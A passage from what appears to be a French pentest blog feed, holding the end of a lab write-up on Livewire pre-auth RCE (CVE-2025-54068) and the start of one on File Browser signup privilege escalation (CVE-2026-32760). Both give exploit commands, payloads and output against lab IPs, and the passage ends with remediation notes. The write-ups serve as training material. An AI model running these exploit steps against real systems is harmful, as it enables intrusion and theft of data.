<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dpkg <span class="nt">-s</span> python3-pycryptodome | <span class="nb">grep</span> <span class="s1">'^Status'</span>
dpkg <span class="nt">-L</span> python3-pycryptodome | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s1">'/(Crypto|Cryptodome)/'</span> | <span class="nb">head</span>
/usr/bin/python3 <span class="nt">-c</span> <span class="s1">'from Cryptodome.Cipher import AES; print("Cryptodome OK")'</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Status: install ok installed
/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py
Cryptodome OK
</code></pre></div></div>

<p>En revanche, l’import attendu par Livepyre échouait :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ModuleNotFoundError: No module named 'Crypto'
</code></pre></div></div>

<p>Le Python système était <code class="language-plaintext highlighter-rouge">/usr/bin/python3</code>, version <code class="language-plaintext highlighter-rouge">3.14.7</code>. Le correctif local a consisté à remplacer les imports <code class="language-plaintext highlighter-rouge">Crypto</code> concernés par <code class="language-plaintext highlighter-rouge">Cryptodome</code> dans les fichiers de chiffrement de Livepyre, <strong>dans le clone local du lab, pas sur la cible</strong> :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sed</span> <span class="nt">-i</span> <span class="se">\</span>
  <span class="nt">-e</span> <span class="s1">'s/from Crypto import Random/from Cryptodome import Random/'</span> <span class="se">\</span>
  ~/Desktop/Livepyre/exploit/laravel_crypto/laravel_encrypter.py

<span class="nb">sed</span> <span class="nt">-i</span> <span class="se">\</span>
  <span class="nt">-e</span> <span class="s1">'s/from Crypto\.Cipher import AES/from Cryptodome.Cipher import AES/'</span> <span class="se">\</span>
  ~/Desktop/Livepyre/exploit/laravel_crypto/aes_encrypter.py
</code></pre></div></div>

<blockquote>
  <p>💡 Un import dans <code class="language-plaintext highlighter-rouge">crypto_verb.py</code> avait aussi été remplacé auparavant. Le motif de recherche <code class="language-plaintext highlighter-rouge">grep -RInE 'from Crypto|import Crypto'</code> correspond aussi au préfixe du mot <code class="language-plaintext highlighter-rouge">Cryptodome</code> ; il pouvait donc continuer à afficher des lignes déjà corrigées. Pour détecter les anciens imports avec plus de précision :</p>

  <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">grep</span> <span class="nt">-RInE</span> <span class="s1">'from Crypto(\.| )|import Crypto(\.| )'</span> <span class="se">\</span>
  ~/Desktop/Livepyre <span class="nt">--include</span><span class="o">=</span><span class="s1">'*.py'</span>
</code></pre></div>  </div>
</blockquote>

<h3 id="54-mauvais-chemin-du-script-et-environnement-virtuel-absent">5.4 Mauvais chemin du script et environnement virtuel absent</h3>

<p>Deux erreurs de chemin ont été rencontrées : le script a d’abord été lancé depuis <code class="language-plaintext highlighter-rouge">~/Desktop</code> au lieu de <code class="language-plaintext highlighter-rouge">~/Desktop/Livepyre</code>, et <code class="language-plaintext highlighter-rouge">.venv/bin/activate</code> n’existait pas encore. La commande finale a explicitement utilisé <code class="language-plaintext highlighter-rouge">/usr/bin/python3</code> et le chemin complet du script.</p>

<h2 id="6-étape-4--vérifier-puis-démontrer-limpact">6. Étape 4 — Vérifier puis démontrer l’impact</h2>

<h3 id="vérification-non-intrusive-avec--c">Vérification non intrusive avec <code class="language-plaintext highlighter-rouge">-c</code></h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'http://176.16.163.229:443/'</span> <span class="nt">-c</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[WARNING] The remote livewire version is either v3.6.3 or v3.6.4.
Target might not be vulnerable.
</code></pre></div></div>

<p>Le contrôle de version n’a donc pas établi de façon certaine de quel côté du correctif se trouvait la cible.</p>

<h3 id="preuve-minimale-avec---force">Preuve minimale avec <code class="language-plaintext highlighter-rouge">--force</code></h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'http://176.16.163.229:443/'</span> <span class="nt">--force</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ERROR] Running exploit even if target does not seem to be vulnerable.
[INFO] Found snapshot(s). Running exploit.
[INFO] Running exploit without APP_KEY.
[INFO] Found 1 snapshot(s) available.
[INFO] Found 9 possible param(s).
[INFO] services is typed as an object, triggering RCE.
[INFO] Sending payload system('id') to livewire.
[INFO] Payload works, output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre></div></div>

<p><strong>Rôle de cette étape :</strong> <code class="language-plaintext highlighter-rouge">--force</code> neutralise la précaution fondée sur le fingerprint de version ; il ne s’agit pas d’une simple vérification. La réponse <code class="language-plaintext highlighter-rouge">uid=33(www-data)</code> démontre que la commande s’est exécutée avec les privilèges du compte de service web.</p>

<blockquote>
  <p>⚠️ Ce n’est <strong>pas</strong> une élévation de privilèges root : le résultat montre <code class="language-plaintext highlighter-rouge">www-data</code>.</p>
</blockquote>

<h2 id="7-étape-5--localiser-le-fichier-de-flag">7. Étape 5 — Localiser le fichier de flag</h2>

<h3 id="71-première-tentative--chemin-courant">7.1 Première tentative : chemin courant</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'http://176.16.163.229:443/'</span> <span class="nt">--force</span> <span class="nt">-p</span> <span class="s1">'cat /flag'</span>
</code></pre></div></div>

<p>La sortie était vide — cela ne prouvait pas à elle seule si le fichier était absent ou si son erreur était renvoyée sur stderr.</p>

<h3 id="72-recherche-de-noms-contenant-flag">7.2 Recherche de noms contenant <code class="language-plaintext highlighter-rouge">flag</code></h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'http://176.16.163.229:443/'</span> <span class="nt">--force</span> <span class="se">\</span>
  <span class="nt">-p</span> <span class="s1">'find / -maxdepth 6 -type f -iname "*flag*" -print 2&gt;/dev/null'</span>
</code></pre></div></div>

<p>Sortie représentative :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/proc/sys/kernel/acpi_video_flags
/proc/sys/net/ipv4/fib_notify_on_flag_change
/proc/sys/net/ipv6/fib_notify_on_flag_change
/proc/kpageflags
/sys/devices/virtual/net/eth0/flags
...
/usr/include/linux/tty_flags.h
</code></pre></div></div>

<blockquote>
  <p>💡 Cette recherche a trouvé des fichiers système dont le nom contient la chaîne <code class="language-plaintext highlighter-rouge">flag</code>, mais pas le fichier d’exercice qui s’appelait <code class="language-plaintext highlighter-rouge">local.txt</code> — ce résultat montre pourquoi une recherche par motif peut manquer un flag lorsque le nom du fichier n’inclut pas le mot <code class="language-plaintext highlighter-rouge">flag</code>.</p>
</blockquote>

<h3 id="73-lister-les-emplacements-usuels">7.3 Lister les emplacements usuels</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'http://176.16.163.229:443/'</span> <span class="nt">--force</span> <span class="se">\</span>
  <span class="nt">-p</span> <span class="s1">'pwd; ls -la /; ls -la /var/www /var/www/html /home /opt /tmp 2&gt;/dev/null'</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/var/www/html/public
...
/home:
-rw-r--r-- 1 55555 55555 42 Oct 21 10:43 local.txt
...
/var/www/html:
-rw-rw-r-- 1 root root 288 Mar 26 2026 .env
</code></pre></div></div>

<p>Le listing a révélé <code class="language-plaintext highlighter-rouge">/home/local.txt</code>, de taille 42 octets et de permissions <code class="language-plaintext highlighter-rouge">rw-r--r--</code>. Cela explique pourquoi le processus <code class="language-plaintext highlighter-rouge">www-data</code> pouvait lire le fichier sans en être le propriétaire. Un fichier <code class="language-plaintext highlighter-rouge">.env</code> était également présent dans l’arborescence applicative ; son contenu n’a pas été lu, car cela n’était pas nécessaire à l’objectif du lab.</p>

<h3 id="74-confirmer-le-chemin">7.4 Confirmer le chemin</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'http://176.16.163.229:443/'</span> <span class="nt">--force</span> <span class="se">\</span>
  <span class="nt">-p</span> <span class="s1">'find / -type f -name local.txt -print 2&gt;/dev/null'</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/home/local.txt
/home/local.txt
</code></pre></div></div>

<h3 id="75-lecture-du-vrai-chemin">7.5 Lecture du vrai chemin</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/python3 ~/Desktop/Livepyre/Livepyre.py <span class="se">\</span>
  <span class="nt">-u</span> <span class="s1">'http://176.16.163.229:443/'</span> <span class="nt">--force</span> <span class="se">\</span>
  <span class="nt">-p</span> <span class="s1">'cat /home/local.txt'</span>
</code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[INFO] Sending payload system('cat /home/local.txt') to livewire.
[INFO] Payload works, output:
flag_b1cd97f8_8153_4d2c_ba12_b7f23dfd6503
</code></pre></div></div>

<h2 id="8-conclusions-et-portée">8. Conclusions et portée</h2>

<p>Le test a confirmé qu’une requête non authentifiée pouvait exploiter le flux de mise à jour/hydratation du composant Livewire exposé pour exécuter une commande sous le compte <code class="language-plaintext highlighter-rouge">www-data</code>, puis lire <code class="language-plaintext highlighter-rouge">/home/local.txt</code>. Le flag a donc été récupéré sans accès root. L’indication de version Livewire restait ambiguë entre 3.6.3 et 3.6.4, mais le succès du payload prouve l’exploitabilité du scénario testé ; il ne faut pas généraliser cette observation à tous les déploiements Livewire.</p>

<p>Pour un système réel, la mesure principale est de mettre Livewire à jour vers <strong>3.6.4 ou une version ultérieure</strong>, puis de vérifier que les dépendances réellement déployées sont corrigées. L’avis GitHub indique qu’aucun contournement n’est connu. Il faut également retirer toute donnée sensible exposée par erreur, éviter d’inclure les jetons de session/CSRF dans les rapports et vérifier les journaux HTTP/Laravel ainsi que l’intégrité de l’environnement.</p>

<h2 id="leçons-retenues">Leçons retenues</h2>

<ul>
  <li>Un port conventionnellement associé à TLS (443) ne garantit pas que le service y écoutant parle réellement TLS — toujours vérifier le protocole réel avant de s’acharner sur une négociation TLS qui échoue systématiquement.</li>
  <li>Un contrôle de version ambigu (<code class="language-plaintext highlighter-rouge">-c</code> n’a pas tranché entre 3.6.3 et 3.6.4) ne doit pas bloquer la démonstration d’impact quand le contexte de lab l’autorise explicitement — le succès du payload reste la preuve la plus solide, indépendamment du fingerprint de version.</li>
  <li>Un problème d’environnement local (dépendance Python absente, mauvais nom de module <code class="language-plaintext highlighter-rouge">Crypto</code> vs <code class="language-plaintext highlighter-rouge">Cryptodome</code>) ne doit jamais être confondu avec un problème côté cible — toujours isoler clairement les erreurs d’outillage des erreurs d’exploitation.</li>
  <li>Une recherche de fichier par motif (<code class="language-plaintext highlighter-rouge">*flag*</code>) peut manquer la cible réelle si son nom ne contient pas ce mot — compléter systématiquement par un listing des répertoires usuels (<code class="language-plaintext highlighter-rouge">/home</code>, <code class="language-plaintext highlighter-rouge">/var/www</code>, <code class="language-plaintext highlighter-rouge">/opt</code>, <code class="language-plaintext highlighter-rouge">/tmp</code>).</li>
</ul>

<h2 id="références">Références</h2>

<ol>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-54068">NVD — CVE-2025-54068</a></li>
  <li><a href="https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3">Livewire security advisory — GHSA-29cq-5w36-x7w3</a></li>
  <li><a href="https://github.com/synacktiv/Livepyre">Synacktiv — dépôt Livepyre</a></li>
  <li><a href="https://github.com/synacktiv/Livepyre/blob/main/requirements.txt">Livepyre — requirements.txt</a></li>
</ol>]]></content><author><name>Mohammed Berrahal</name></author><category term="Pentest" /><category term="Exploitation" /><category term="cve-2025-54068" /><category term="livewire" /><category term="laravel" /><category term="rce" /><category term="pre-auth" /><category term="livepyre" /><category term="secdojo" /><category term="ctf" /><summary type="html"><![CDATA[Lab Northstar : exécution de commande distante via Livewire (CVE-2025-54068)]]></summary></entry><entry><title type="html">Lab File Browser : inscription publique vulnérable (CVE-2026-32760)</title><link href="https://medberrahal.github.io//pentest/exploitation/Lab-File-Browser/" rel="alternate" type="text/html" title="Lab File Browser : inscription publique vulnérable (CVE-2026-32760)" /><published>2026-10-20T00:00:00+00:00</published><updated>2026-10-20T00:00:00+00:00</updated><id>https://medberrahal.github.io//pentest/exploitation/Lab-File-Browser</id><content type="html" xml:base="https://medberrahal.github.io//pentest/exploitation/Lab-File-Browser/"><![CDATA[<h1 id="lab-file-browser--contrôle-daccès-défectueux-via-inscription-publique-cve-2026-32760">Lab File Browser : contrôle d’accès défectueux via inscription publique (CVE-2026-32760)</h1>

<blockquote>
  <p><strong>Lab :</strong> <a href="https://cyberlab.sec-dojo.com/lab/259">explorateur de fichiers — CyberLab #259</a>
<strong>Sujets :</strong> CVE, Contrôle d’accès défectueux, Énumération
<strong>Cible :</strong> <code class="language-plaintext highlighter-rouge">176.16.163.82</code>
<strong>Service web :</strong> <code class="language-plaintext highlighter-rouge">http://176.16.163.82:8080</code>
<strong>Résultat :</strong> ✅ élévation de privilèges au niveau applicatif, flag récupéré</p>
</blockquote>

<h2 id="objectif-du-lab">Objectif du lab</h2>

<p>Ce scénario décrit un hôte Linux exécutant une application web de gestion de fichiers auto-hébergée. L’objectif est d’accéder au service, d’y élever ses privilèges et de récupérer le flag du système de fichiers sous-jacent.</p>

<h2 id="résumé-du-chemin-dexploitation">Résumé du chemin d’exploitation</h2>

<p>Le scan a révélé SSH sur le port 22 et File Browser sur le port 8080. L’application était en version <strong>2.60.0</strong> et l’inscription publique était activée. L’inscription a créé un compte File Browser avec <code class="language-plaintext highlighter-rouge">admin: true</code>, conformément à la condition vulnérable de <strong>CVE-2026-32760</strong> : l’inscription publique hérite des permissions par défaut si celles-ci accordent les droits administrateur. Le compte avait toutefois un scope limité à <code class="language-plaintext highlighter-rouge">/srv</code>. Le scope a ensuite été changé en <code class="language-plaintext highlighter-rouge">.</code> avec l’API d’administration, ce qui a rendu visible la racine configurée par File Browser. Le fichier <code class="language-plaintext highlighter-rouge">/home/local.txt</code> contenait le flag.</p>

<blockquote>
  <p>⚠️ <strong>Point important :</strong> l’élévation obtenue était au niveau de <strong>l’application File Browser</strong>, pas un shell <code class="language-plaintext highlighter-rouge">root</code> Linux. La requête vers <code class="language-plaintext highlighter-rouge">/root/</code> a d’ailleurs répondu <code class="language-plaintext highlighter-rouge">403 Forbidden</code>.</p>
</blockquote>

<h2 id="1-découverte-des-services">1. Découverte des services</h2>

<h3 id="scan-complet-des-ports-tcp">Scan complet des ports TCP</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">TARGET</span><span class="o">=</span>176.16.163.82
<span class="nb">sudo </span>nmap <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-T3</span> <span class="nt">-oN</span> /tmp/ports.txt <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">"</span>
<span class="nb">cat</span> /tmp/ports.txt
</code></pre></div></div>

<p>Sortie pertinente :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Nmap scan report for 176.16.163.82
Host is up (0.00023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
</code></pre></div></div>

<p><strong>Explication :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-Pn</code> demande à Nmap de ne pas dépendre du ping pour considérer l’hôte actif</li>
  <li><code class="language-plaintext highlighter-rouge">-n</code> désactive la résolution DNS inverse</li>
  <li><code class="language-plaintext highlighter-rouge">-p-</code> examine les ports TCP de 1 à 65535</li>
  <li><code class="language-plaintext highlighter-rouge">--open</code> n’affiche que les ports ouverts</li>
  <li><code class="language-plaintext highlighter-rouge">-T3</code> choisit une vitesse de scan modérée</li>
  <li><code class="language-plaintext highlighter-rouge">-oN /tmp/ports.txt</code> enregistre le résultat en texte normal</li>
</ul>

<blockquote>
  <p>ℹ️ Une première tentative d’extraire les ports avec <code class="language-plaintext highlighter-rouge">awk</code> a produit une liste vide et Nmap a répondu <code class="language-plaintext highlighter-rouge">Error #485: Your port specifications are illegal</code>. La méthode simple utilisée ensuite a été de passer directement <code class="language-plaintext highlighter-rouge">-p 22,8080</code>.</p>
</blockquote>

<h3 id="identification-des-versions-et-de-lapplication">Identification des versions et de l’application</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-Pn</span> <span class="nt">-n</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-p</span> 22,8080 <span class="nt">-oN</span> /tmp/services.txt <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">"</span>
<span class="nb">cat</span> /tmp/services.txt
</code></pre></div></div>

<p>Sortie pertinente :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.14 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Golang net/http server
|_http-title:       File Browser
</code></pre></div></div>

<p><strong>Explication :</strong> <code class="language-plaintext highlighter-rouge">-sV</code> tente d’identifier les versions des services ; <code class="language-plaintext highlighter-rouge">-sC</code> lance les scripts Nmap par défaut. Le titre HTTP a identifié l’application comme <strong>File Browser</strong>.</p>

<h3 id="confirmation-du-service-web-et-de-la-version">Confirmation du service web et de la version</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="nt">-iL</span> <span class="s2">"http://</span><span class="nv">$TARGET</span><span class="s2">:8080/"</span> | <span class="nb">head</span> <span class="nt">-60</span>
whatweb <span class="s2">"http://</span><span class="nv">$TARGET</span><span class="s2">:8080/"</span>
</code></pre></div></div>

<p>Sortie exacte de <code class="language-plaintext highlighter-rouge">whatweb</code> :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://176.16.163.82:8080/ [200 OK] Country[SAUDI ARABIA][SA], HTML5, IP[176.16.163.82], Script[module], Title[File Browser][Title element contains newline(s)!], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block]
</code></pre></div></div>

<blockquote>
  <p>ℹ️ Cette sortie confirme que l’URL répond en <code class="language-plaintext highlighter-rouge">200 OK</code>, indique l’adresse IP et le pays géolocalisé par l’outil, détecte une page HTML5 avec un script de type module, et identifie le titre <code class="language-plaintext highlighter-rouge">File Browser</code>. <code class="language-plaintext highlighter-rouge">X-UA-Compatible</code> et <code class="language-plaintext highlighter-rouge">X-XSS-Protection</code> sont des en-têtes HTTP observés ; leur présence ne prouve pas à elle seule que l’application est sécurisée.</p>
</blockquote>

<p>Le code HTML retournait notamment la configuration JavaScript suivante :</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">window</span><span class="p">.</span><span class="nx">FileBrowser</span> <span class="o">=</span> <span class="p">{</span><span class="dl">"</span><span class="s2">AuthMethod</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">json</span><span class="dl">"</span><span class="p">,</span> <span class="p">...</span> <span class="dl">"</span><span class="s2">LoginPage</span><span class="dl">"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Signup</span><span class="dl">"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span> <span class="p">...</span> <span class="dl">"</span><span class="s2">Version</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">2.60.0</span><span class="dl">"</span><span class="p">};</span>
</code></pre></div></div>

<p>Cela établissait deux éléments importants : la version détectée était <strong>2.60.0</strong> et l’inscription publique (<code class="language-plaintext highlighter-rouge">Signup</code>) était activée.</p>

<blockquote>
  <p>💡 L’essai Gobuster n’a pas produit de chemins fiables : le serveur renvoyait <code class="language-plaintext highlighter-rouge">200</code> même pour une URL aléatoire inexistante, avec une longueur de réponse de 5647 octets. Gobuster a donc signalé une réponse générique (« wildcard response ») et s’est arrêté. Il s’agissait d’un faux positif, pas d’un répertoire découvert.</p>
</blockquote>

<blockquote>
  <p>⚠️ <code class="language-plaintext highlighter-rouge">PORT</code> dans une commande d’exemple est un placeholder. L’URL correcte dans ce lab devait contenir <code class="language-plaintext highlighter-rouge">:8080</code> ; une commande avec <code class="language-plaintext highlighter-rouge">:PORT</code> littéral échoue parce que <code class="language-plaintext highlighter-rouge">PORT</code> n’est pas un numéro.</p>
</blockquote>

<h2 id="2-inscription-publique-et-élévation-dans-file-browser">2. Inscription publique et élévation dans File Browser</h2>

<p>L’avis officiel <strong>CVE-2026-32760</strong> indique que les versions antérieures à 2.62.0 peuvent créer un compte administrateur lors d’une inscription publique si <code class="language-plaintext highlighter-rouge">signup=true</code> et si les permissions par défaut incluent <code class="language-plaintext highlighter-rouge">perm.admin=true</code>. La version observée, 2.60.0, est antérieure au correctif.</p>

<h3 id="création-dun-compte">Création d’un compte</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">BASE</span><span class="o">=</span><span class="s1">'http://176.16.163.82:8080'</span>
<span class="nv">U</span><span class="o">=</span><span class="s2">"hitotsu_</span><span class="si">$(</span><span class="nb">date</span> +%s<span class="si">)</span><span class="s2">"</span>
<span class="nv">P</span><span class="o">=</span><span class="s1">'VOTRE_MOT_DE_PASSE_DE_LAB'</span>

curl <span class="nt">-sS</span> <span class="nt">-i</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/api/signup"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s2">"{</span><span class="se">\"</span><span class="s2">username</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="nv">$U</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">password</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="nv">$P</span><span class="se">\"</span><span class="s2">}"</span>
</code></pre></div></div>

<p>Le handler officiel de File Browser v2.60.0 utilise <code class="language-plaintext highlighter-rouge">/api/signup</code> et accepte un corps JSON avec <code class="language-plaintext highlighter-rouge">username</code> et <code class="language-plaintext highlighter-rouge">password</code>. Dans les résultats ultérieurs, le compte créé apparaissait comme <code class="language-plaintext highlighter-rouge">hitotsu_1792492328</code> ; cela confirme que l’inscription a abouti. Le mot de passe doit respecter la longueur minimale configurée par le serveur, qui s’est révélée être <strong>12 caractères</strong>.</p>

<h3 id="connexion-et-contrôle-du-rôle">Connexion et contrôle du rôle</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">TOKEN</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-sS</span> <span class="nt">-X</span> POST <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/api/login"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s2">"{</span><span class="se">\"</span><span class="s2">username</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="nv">$U</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">password</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="nv">$P</span><span class="se">\"</span><span class="s2">}"</span><span class="si">)</span>

curl <span class="nt">-sS</span> <span class="nt">-o</span> /tmp/users.json <span class="nt">-w</span> <span class="s1">'HTTP %{http_code}\n'</span> <span class="se">\</span>
  <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/api/users"</span> <span class="nt">-H</span> <span class="s2">"X-Auth: </span><span class="nv">$TOKEN</span><span class="s2">"</span>
python3 <span class="nt">-m</span> json.tool /tmp/users.json
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/api/login</code> renvoie un jeton d’authentification ; <code class="language-plaintext highlighter-rouge">TOKEN=$(...)</code> le conserve dans une variable shell. L’en-tête <code class="language-plaintext highlighter-rouge">X-Auth</code> transmet ce jeton aux requêtes API protégées.</p>

<blockquote>
  <p>⚠️ Le jeton ne doit pas être publié.</p>
</blockquote>

<p>Sortie observée : <code class="language-plaintext highlighter-rouge">HTTP 200</code>, et les informations du compte comprenaient :</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w">
  </span><span class="nl">"username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"hitotsu_1792492328"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"scope"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/srv"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"perm"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"admin"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
    </span><span class="nl">"execute"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"create"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
    </span><span class="nl">"rename"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"modify"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"delete"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"share"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
    </span><span class="nl">"download"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Le rôle admin était donc confirmé. <code class="language-plaintext highlighter-rouge">HTTP 200</code> sur <code class="language-plaintext highlighter-rouge">/api/users</code> est également un indice que l’accès à cette route réservée aux administrateurs a été accordé.</p>

<h3 id="vérification-des-réglages">Vérification des réglages</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sS</span> <span class="nt">-o</span> /tmp/settings.json <span class="nt">-w</span> <span class="s1">'HTTP %{http_code}\n'</span> <span class="se">\</span>
  <span class="s2">"</span><span class="nv">$BASE</span><span class="s2">/api/settings"</span> <span class="nt">-H</span> <span class="s2">"X-Auth: </span><span class="nv">$TOKEN</span><span class="s2">"</span>
python3 <span class="nt">-m</span> json.tool /tmp/settings.json
</code></pre></div></div>

<p>Sortie pertinente :</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"signup"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"createUserDir"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
  </span><span class="nl">"minimumPasswordLength"</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">,</span><span class="w">
  </span><span class="nl">"userHomeBasePath"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/users"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"defaults"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"scope"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/srv"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"perm"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"admin"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
      </span><span class="nl">"execute"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
      </span><span class="nl">"create"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
      </span><span class="nl">"rename"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
      </span><span class="nl">"modify"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
      </span><span class="nl">"delete"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
      </span><span class="nl">"share"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
      </span><span class="nl">"download"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"hideDotfiles"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
  </span><span class="p">},</span><span class="w">
